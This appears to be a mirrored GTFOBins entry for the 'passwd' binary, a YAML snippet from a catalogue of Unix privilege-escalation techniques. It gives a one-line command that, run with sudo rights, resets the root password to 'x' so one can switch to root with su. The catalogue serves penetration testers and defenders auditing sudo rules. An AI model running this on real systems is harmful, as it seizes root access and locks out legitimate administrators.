1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-08 06:56:15 +01:00
GTFOBins.github.io/_gtfobins/passwd
2026-01-20 17:11:43 +01:00

11 lines
230 B
Plaintext

---
functions:
privilege-escalation:
- code: |-
echo -e 'x\nx' | passwd
comment: |-
This changes the root password to `x`, so it's now possible to log in using, for example, `su`.
contexts:
sudo:
...